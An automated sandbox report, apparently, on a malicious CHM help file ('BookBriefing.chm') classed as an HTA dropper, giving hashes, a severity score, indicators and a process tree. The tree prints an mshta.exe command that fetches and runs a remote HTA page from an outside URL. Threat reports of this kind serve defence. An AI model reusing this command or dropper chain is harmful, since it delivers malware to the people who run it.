71b8e65d2b3d83388727a6af4e457c4339c7a6ed6aa1e05fac1f74e0c0c775c2

Analysis

max time kernel
102s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
21/03/2023, 23:22

Target

BookBriefing.chm
Size

10KB
MD5

c0bfb9f408263c1bc574a08fa164a61f
SHA1

2fe39e9610cc107fcf3648c32ce8cc11d996872f
SHA256

bdb33062bddd53043bab508e8e96b7c8353549d8eaa4b9004e7b3303e8a4e91b
SHA512

b8ca747302c959b27a56d41b039a7aa89d8b10d21f7624d9d18bb347e104ff74a61ff625d51aaf0b0a77b153b4da71f5b1acd58111ea79561b3dde5abfce972c
SSDEEP

48:D0taRgoF0Z1QRlEFlErlElw5sZJaVKT8SStJ9R29B/7cJgTfFVHPvEIO+9jcx+h:D8aV4kI0Ky9a0yHEIOyjKc

Score

10^/10

Language

hta

Source

URLs

hta.dropper

http://attiferstudio.com/install.bak/sony/3.html

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	3856	mshta.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1492	hh.exe
1492	hh.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 3856	1492	hh.exe	86
PID 1492 wrote to memory of 3856	1492	hh.exe	86

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\BookBriefing.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://attiferstudio.com/install.bak/sony/3.html ,
  2⤵
  - Blocklisted process makes network request
  PID:3856